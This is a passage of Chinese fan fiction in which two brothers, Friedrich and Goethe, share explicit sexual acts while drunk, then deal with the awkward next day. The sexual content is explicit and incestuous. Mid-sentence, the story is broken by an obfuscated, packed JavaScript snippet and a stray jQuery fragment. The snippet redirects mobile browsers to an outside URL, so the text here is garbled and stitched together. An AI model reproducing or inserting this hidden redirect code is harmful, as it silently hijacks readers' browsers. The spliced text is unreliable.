对于弗里德里希来说,这天绝对是魔幻的一天。
他只是小酌了几口,就醉了,趴在桌子上,迷迷糊糊地看着哥哥,对方也被这酒弄得有点醉,也看着他,他不知道为什么,看到哥哥的脸就莫名开心,尽管对方并没有笑,他却自顾自地傻笑了一会儿,又打了个酒嗝,迷迷瞪瞪地趴着,眯着眼睛,看起来半梦半醒,但实际上意识已经模糊了。
他隐约听到哥哥在说什么,但是听不太清,对方好像在问他什么问题,意识到这点的时候,他就心想:为什么要在喝酒的时候问呢?等清醒的时候不好吗?
疑惑在心里存在了几秒,弗里德里希就没空去想那些了。他莫名觉得很热,嘴里嘟囔着:“……好……热……”
“……”
他感觉有人抱着他,还有走路的颠簸感,接着,他就陷进了柔软的床铺里。他费劲地将眼睛睁开一条缝,隐约看见那人将他放下之后,似乎是要走,对方似乎也醉得厉害,正用手扶着额头,想清醒过来。
他直愣愣地看着对方,对方却没有注意到他的注视。对方没有和他坐在同一张床上,这个平时都很讲究的人此时靠着墙坐在地上,屈起一条腿,胳膊借着膝盖的力,用一只手撑着额头,眼神已经有些迷蒙了。
他开始断断续续地喊:
“哥,哥哥……”
对方看起来醉过去了,一听到他的呼唤,还是很快看了过来,带着浓重的酒气靠近,然后问:
“……怎么了?”
“……我好热。”
“……”对方过来摸了摸他的额头,“很不舒服吗?”
“……”他说,“没有。就是热。”
“那我守着你。”对方说。
“为什么不是抱着?”
“……”对方问,“你想让我抱着你吗?”
“……我想让我哥抱我。”
“……”他听见对方似乎叹了一口气,“好。”
那人抱着他,那种灼热的体温烫得他一抖,后知后觉地发现对方其实也很热。
“……哥哥。”他说,“你也很热吗?”
“……嗯。”对方说。
“……”
他短暂地清醒了一会儿,随即又被酒精影响着眯起了眼,他觉得自己的脑子此时应该是混沌的,可身体的反应却那么清晰,清晰到他根本没法忽视。
他觉得他可能是太久没有谈过恋爱,也太久没有纾解过了,所以就算在哥哥的眼皮子底下,反应也这么剧烈。
歌德似乎也是这么想的,他的弟弟太久没有和人亲密过了,所以有些情难自禁,于是,他就忍着那种冲动,问:
“……要我帮帮你吗?”
弟弟没有点头。但歌德还是领会到了意思,把手伸了下去,被触碰到敏.感部位的时候,他发现对方控制不住地哆嗦了一下,眼泪都出来了。
“……不舒服吗?”
弟弟摇了摇头。
歌德的手继续动着,一边帮忙,还一边看着,他倒是坦然得很,但他脸皮薄的弟弟却没坚持多久,就在快感与羞耻中到达了顶峰,弄了他一手。
“……偶尔也自己弄一弄啊,弗里德尔。”他从胸腔里发出闷笑,“不然太浓稠了。”
他还向弗里德里希展示了一下黏糊糊的手掌,散发出一股浓烈的味道。
弗里德里希脑子里嗡嗡的,脸上红得要命,一句话也说不出来。
“……舒服吗?”对方笑了一声。
……为什么要问这个?
他觉得自己应该是生气的,狠狠瞪着对方。
“……”对方顿了一下,说,“这种情况,你确定还要继续撒娇吗?”
“……”他哪里撒娇了?
“……”他瞪着对方,对方似乎终于察觉到弟弟生气的威力了,别开了脸,但下一刻,对方抹了把脸,又看了过来。
之前为了方便帮忙,他的姿势是半跪在弗里德里希面前的,所以弗里德里希完全可以将他正面的样子看得一清二楚,也包括对方的下.半.身,不知什么时候已经勃.起了。
“抱歉,”对方无奈地说,“生理反应。”
就像之前帮助弗里德里希一眼,对方现在也这么帮助自己,而且用的是同一只手,之前沾上的液体还没擦。
雄性荷尔蒙的气息扑面而来,弗里德里希整个人都愣住了。对方似乎完全不为此感到羞耻,甚至干这种事的时候还能盯着眼前的弟弟看,发现弟弟直愣愣地望着他,他就笑,对方就不敢看了。
“……”
不知过了多久,终于结束了。弗里德里希其实没听到什么声音,可能是因为他心如擂鼓,心跳声音太大,以至于听得不太清楚,他知道结束了,主要是因为那东西溅到他脸上了,还恰好就在唇边的位置。
“……怎么又起来了?”对方说。
他这才发现自己又起反应了,刚刚消退下去的热意卷土重来。
他这个负责任的好哥哥见他这样,当然不会当做没看见,于是他又被动享受了一次来自旁人的抚.慰。
这一次,他还是很快,快得有点过分了。他感觉耳朵都在烧,不敢抬头看对方的眼睛。
“……”对方似乎笑了一声。
他本能地有些恼羞成怒——以往他哥哥敢这样笑话他,他一定要爬到对方身上去,然后用胳膊勒对方的脖子,可他现在却只敢又羞又怒地瞪着自己的腿,一定是因为现在太尴尬了。
他们刚释放完,屋子里都是那种仿佛麝香和石楠花混合起来的奇怪气味。
……
次日,弗里德里希是被敲门声吵醒的。
屋里就像什么也没发生一样,衣服也叠的整整齐齐,若非他确实虚的有点走不动路,他差点以为那一切都是自己的梦。
另一个人不在屋里,可能是有事出去了。
弗里德里希:“…………”
有种闯了大祸的感觉。
他走到门口,就听到了魏尔伦的声音。对方可能是来找他打牌的,只可惜他现在实在没有心情,他也不敢叫对方进屋,到昨晚的互帮互助现场喝杯茶什么的,就算对方压根不知道这回事,那也足以让他尴尬了。
好在魏尔伦也没问什么,善解人意地离开了,让弗里德里希不由得松了一口气。
结果下一刻,他就接到了一个电话,是妈妈打来的。
“……”他犹豫了好一会儿,才敢接电话,“喂?妈妈。”
电话那头传来海风的声音,听得出来,父母正在海滩上享受他们的假期。
“跳伞好玩吗?我们正在晒日光浴,真舒服。”
“好玩。”
“拍了照吗?”
其实没有,但他还是说:“拍了。”
“……”对方说,“你今天怎么话这么少?刚起床没精神吗?”
“……我平时不也是这样吗?”他说,“对,刚起床。”
“晚上早点睡。不要以为你跟你哥哥出去玩就没人管你了,我会让你哥哥管好你的,别总是熬到很晚才睡觉,现在都中午了,结果你才起来,我该怎么说你?”
弗里德里希:“……好,我以后会早睡的。”
终于,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701451|206062||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
电话结束了。
弗里德里希全程提心吊胆,虽然妈妈不大可能知道昨晚发生的事,他还是有种心虚感——他可能这辈子都不敢告诉别人他和他哥互帮互助了。
没多久,哥哥也回来了。对方出去买了些东西,看到他已经醒了,就说:“走,带你出去吃顿饭。”
“……哦。”他勉勉强强地说。
“怎么了?”对方反倒先问了,“不饿吗?”
……当然饿。但是你就这么坦然吗?
“你就一点反应都没有?关于昨晚的……”他扭扭捏捏半天,还是说出来了,“互帮互助。”
但对方关注的重点似乎不是坦然不坦然的问题,而是——
“不是互帮互助。”对方一只手作拳抵在唇前,以此挡住他勾起的唇角,“明明是单方面帮助。”
……好吧,就算这是单方面的,但这家伙到底为什么这么平静?
弗里德里希有点恼火,又有点说不出的羞耻,难道就只有他为此耿耿于怀?他瞪着对方,想以此表达自己的不解和恼火,可一想起对方之前说他瞪人是撒娇的话,他又没法瞪下去了——难道他真的要撒娇吗?可这到底哪里像撒娇了?
比起毫无杀伤力的瞪人,也许他更应该趁着对方不注意狠狠勒住对方的脖子。他想象着那种场景,虽然徒手制服这位上将先生还是有些困难,但他也只是想想而已。
对方看着他的表情变化,不知从中发现了什么,笑得真是欠揍,让他磨了磨牙,结果对方还像个过来人似的劝解他:“别这么害羞,弗里德尔。如果你在军队里当过士兵,你就会知道这一切都是再正常不过的事。”
“……”弗里德里希盯着对方,不禁问,“难道你和别人也这样过?”
“那倒没有。”对方说,“不过,在很久以前,我还是个普通士兵的时候,和我并肩作战的战友们只要有时间,都会在隔壁的营帐里发出那种……”
对方露出一个“你懂的”表情,挑了挑眉:“那种吵得人睡不着觉的声音,害得我那时候总是失眠。”
……
他和哥哥一起出去吃饭,对方挑了家寻常餐厅,然后两人就坐在一起,弗里德里希点了份五分熟的牛排,拿餐刀切成几块,然后塞进嘴里,就不再下口了,嘀咕着“不好吃”。
“尝尝这个?”歌德将自己的牛排推过来,他的是全熟的。
弗里德里希还是头一回点五分熟的牛排,家里除了他以外的人都能接受五分熟,他没试过五分熟,这次就忍不住点了五分熟,结果还是受不了。
没想到哥哥恰好点的是全熟。这倒是奇事,按理说他们点的应该反过来才对,他吃全熟的,对方吃五分熟的,这才是正常情况,可这次相反。
他没多想,作为交换也把自己的盘子推了过去,尝了一口对方盘子里的已经切好的熟牛排,发现自己还是更喜欢全熟的。
他一抬眼,看见对方不知怎的笑了一下。
“你笑什么?”他还以为对方在笑他吃不了五分熟,气呼呼地说,“有什么好笑的吗?”
“我想起了一件事,你可能不记得了。”歌德说,“你小的时候,妈妈给你煎了全熟的牛排,你吵着要吃五分熟的,结果吃了一口就吐了,从此不肯再吃。”
“有这回事吗?”弗里德里希表示怀疑。
“当然有。”歌德说,“这就是我特地点了全熟的原因,怕你吃不下五分熟的。”
弗里德里希哼了一声:“我就不能重新点一份吗?”
“那也可以。”歌德笑了一声,“只要你不介意多等一会儿。”